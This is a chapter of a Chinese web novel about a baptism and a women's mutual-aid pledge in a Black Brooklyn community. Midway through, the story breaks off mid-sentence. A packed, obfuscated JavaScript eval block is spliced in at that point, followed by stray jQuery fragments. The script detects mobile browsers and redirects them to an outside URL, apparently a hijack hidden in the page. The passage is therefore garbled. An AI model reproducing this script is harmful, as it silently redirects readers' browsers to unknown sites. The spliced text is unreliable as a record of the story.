米芙在布鲁克林家中的享受了一夜深沉的睡眠。第二天清晨，她随着母亲一同为参加洗礼仪式做准备。


    「把那条深蓝色的丝绒发带系上。」母亲轻声建议，手里正仔细地为米芙整理裙装的领口。她自己则穿上了一件墨绿色的长裙，领口处那枚铜橡果胸针被擦拭得熠熠生辉。


    「母亲，今天要受洗的孩子……是露丝姐的女儿，对吗？」米芙一边调整着发带，一边问道。她记得这位露丝，是母亲组织中一位较为年长的会员的女儿，年纪比她大上几岁。


    母亲点了点头，手上的动作未停。「是。生了个女孩。露丝这么年轻，就成了单亲母亲。所以我们这边，得多照应着些。」她语气平和，没有过多的渲染，但米芙能感受到那份沉甸甸的关切。


    「那孩子的父亲……」米芙有些犹豫，不知该不该问。


    母亲轻轻拍了拍她的肩膀，示意她转过身来，好帮她把背后的扣子系好。「过去了，就不提了。重要的是新生儿今天之后，正式成为我们社区的一员。这比什么都强。」


    米芙不再多问。在母亲维系的这个群体里，互助是一种本能。


    她们收拾妥当，便一同出门，走向社区的浸信会教堂。脚下的积雪发出清脆的咯吱声。不少邻居也正朝着教堂方向走去。女人们都穿着自己最体面的衣物，颜色或许不算鲜艳，但都浆洗得干干净净，熨烫得服服帖帖。沿途，那些在衣领上别着铜橡果胸针的妇人，便自然地汇入她们的行列。她们互相点头致意，轻声交谈着，脸上带着一种庄重而愉悦的神情。


    「叮铃铃」


    一辆马车从后而来，马车上载着赶工的白人，马车夫只是拉了几声铃，便从他们身旁横穿而过，几乎要撞到最外围的几个妇人。女人们连忙躲开，紧紧贴在墙边，无声地目视马车驶远。


    她们似乎已经习惯了，肩并肩继续往前走。


    不一会儿大家就有说有笑起来。


    很快她们走到教堂，这是一座朴素的砖石建筑，尖顶在冬日晴朗的天空下显得格外肃穆。阳光透过彩绘玻璃窗，在室内投下斑斓的光影。长椅上已经坐了不少人，低语声在四周起伏。


    米芙她们一行十几个女人在靠前一些的位置坐下。米芙刚坐定，表姐莉娜就挤了过来，亲热地挨着她坐下。


    「昨晚睡得好吗？」莉娜挽住她的手臂，小声问道，「看你昨天累坏了。」


    「好多了。」米芙微笑着回答，「回到家，谁得特别安心。」


    莉娜凑近她耳边，继续说：「你放心吧。招募女工的事，我们都商量好了。」她说着，用眼神示意了一下周围几位同样别着橡果胸针的年轻女性，「每人负责走访二十户人家，重点就是咱们布鲁克林几个黑人街区。保证帮你找到足够多的人去参加说明会。」


    米芙心头一热，反握住莉娜的手。「谢谢你们。我本来还担心……」


    「担心什么呀！」莉娜轻轻撞了一下她的肩膀，「咱们这群人，最可贵的就是一条心。你做的事，大家能出力的，绝不会干看着。况且，这是为那些需要工作的姐妹提供机会，是正经好事。」


    直到管风琴发出一个低沉的和弦，整个空间瞬间肃静下来。


    牧师穿着庄严的黑色长袍，站到了圣坛前。


    仪式开始了。


    露丝褪去了稚气。她抱着裹在洁白蕾丝襁褓中的婴儿，站在圣坛前，脊背挺得笔直。她的每一个动作都透出呵护，眼神里是初为人母者才有的那种专注与坚定。她的母亲，一位头发花白、身形瘦削的妇人，紧紧跟在她身侧，一只手稳稳地扶在女儿的背上，仿佛在传递着力量。


    而小婴儿，在母亲的怀中，非常安静。


    牧师是一位面容慈祥的中年人，他的声音洪亮而充满安抚的力量。


    「亲爱的弟兄姊妹们，我们今天聚集在这里，见证一个新生命在上帝的眷顾和社群的守护中，开启她的人生旅程……」


    米芙看着圣坛前那个小小的婴儿，心中感慨万千。这个孩子一出生就没有父亲在身边，但在今天，她却拥有了整个社区作为她的后盾。


    牧师从露丝手中接过婴儿，动作轻柔而庄重。圣坛旁放置着一个铜制的洗礼盆，里面盛满了清澈的圣水。


    「我们以圣父、圣子、圣灵之名，为这个孩子施行洗礼……」牧师的声音在教堂里回荡。他用手指蘸取圣水，轻轻地、三次点在婴儿的额头上。水滴顺着婴儿光滑的皮肤滑落，她似乎被这微凉的触感惊动，小小的手脚在襁褓里动了动，却没有哭闹，仿佛感知到了这份神圣。


    「从此，她便是上帝的子民，是我们教会大家庭的一员。」


    接下来是赐予教名的环节。牧师低头看着怀中的婴儿，声音变得更加柔和而庄重。


    「依照她母亲与外祖母的意愿，并得到教会的接纳，我们赐予这个孩子教名——『希望』。」


    「希望」。它不是来自圣经中某个具体的人物，却蕴含着比许多古老名字更直接、更坚韧的期盼。米芙听到身边有人发出轻微的、赞同的声音。在这个相对封闭的黑人社区里，「希望」是最珍贵的东西。


    仪式接近尾声，教会依照传统，为新生儿准备了一份礼物。一位女执事走上前，将一个用蓝色丝带系好的小包裹递给露丝。里面是一本皮面烫金的小开本《新约圣经》，以及一块边缘绣着精细白色雏菊的亚麻手帕，手帕的一角，用蓝色的丝线绣着「希望」这个名字。


    「这本圣经，将指引她未来的道路。这块手帕，愿拭去她成长中的泪水，陪伴她经历生命的喜悦。」牧师说道。


    米芙注意到，在襁褓外侧，婴儿的外祖母为她系上了一根细细的、编织着复杂图案的红色丝线。她知道，这是社区里一些老人保留的传统，一种源自遥远非洲的守护符号，象征着祖先的护佑与族群的延续。它静静地挂在那里，与基督教的仪式并行不悖，共同守护着这个新生的生命。


    洗礼仪式在众人齐唱的赞美诗中结束。歌声不算特别优美，却充满了真诚的力量，回荡在教堂的每一个角落。


    仪式结束后，妇人们并没有立刻散去。而是围拢到露丝和她的母亲身边，陪着她们慢慢走回不远处的家。


    在这里还有另外一场仪式要举行。


    大家先是送上早已准备好的小礼物。半新的婴儿衣物、自制的果酱、柔软的手织小袜子。露丝的母亲一遍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16748562|184715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    遍道谢，把礼物仔细收好。


    小小的客厅很快坐满了人。米芙的母亲走到房间中央，轻轻拍了拍手。


    「好了，姐妹们，门已经关上了，现在这里都是我们自己人。」她的目光缓缓扫过每一张熟悉的面孔，声音清晰有力，「今天我们聚集在这里，不只是为了庆祝希望的洗礼，更是要给她一个任何外界都给不了的承诺。」


    所有人的目光都投向她。她从口袋里取出一张对折的厚纸，小心地展开。


    「这是我们组织扎根社区的传统，」她看向露丝，「如果你愿意，我们十五位姐妹愿意成为希望的『守护阿姨』。」


    露丝抱紧怀中的婴儿，眼眶微微发红，用力点头。


    「但是有个条件，你需要像你母亲一样，加入组织，为组织贡献。」


    露丝更加用力的点头


    米芙母亲转向在场的妇女们。「虽然我们事先都已说好，但现在，还请每一位愿意的人，都在这张盟约上留下自己的名字。这是我们给希望的承诺，在她成长成大女孩的过程中，我们都会在。」


    「我先来。」莉娜第一个站起来，走到桌前。


    莉娜签完字，把纸张递给身旁的妇人。大家就这样依次传递纸笔，签下了自己的名字。


    米芙母亲将签满名字的盟约递给露丝。「收好它，露丝。这上面每一个名字，都代表一个可以依靠的怀抱。希望在成长的过程中，遇到困难，我们每个人都能帮一把手。」


    露丝用微微发抖的手接过盟约，感激地说不出话来。她怀中的婴儿恰在此时发出轻轻的咿呀声，仿佛在回应这份沉甸甸的承诺。


    米芙母亲轻轻拥抱了露丝，然后转向众人：「让我们欢迎希望，正式成为我们大家庭的一员。」


    米芙站在门边，跟随众人鼓掌。


    她想起《传道书》中的箴言：日光之下，并无新事。黑人与白人面对的生老病死、养育后代，这些生命本质的课题何其相似。此刻她确信，阳光之下的悲喜本就相通。然而现实却是割裂的。在这个房间里，黑人社区展现出强大的自我组织能力。若是没有白人的世界，黑人自然能解决自己的问题，甚至可能解决得更好。可一旦踏出这个社区，无处不在的白人世界就如同一道无形的墙，将黑人与这个国家的联系撕裂瓦解。好似黑人不被这个国家真正需要、只是被容忍的一部分。每个黑人终其一生都要通过白人的眼光来审视自己，在既做黑人，又做美国人的双重身份间寻求平衡，却不得不一次次面对撕裂的痛楚。


    更残酷的是，黑人不会自动变白，黑人的孩子还是黑人。这个无法改变的事实，让米芙意识到：问题的关键不在于消除差异！


    ……


    妇女们围拢过来，轮流轻轻抚摸婴儿的脸颊，或是在她的小被子上留下祝福的轻抚。没有繁复的流程，没有华丽的辞藻，但这个简单仪式承载的重量，每个人都感受得到。


    米芙也上前，轻轻捏了捏希望的小手，她看着襁褓中的希望，露出了灿烂的笑。


    当最后一位妇女回到座位，米芙母亲轻声说：「刚好借这个时间，我们在布鲁克林的核心成员都在，我们布置下圣诞节前的工作。」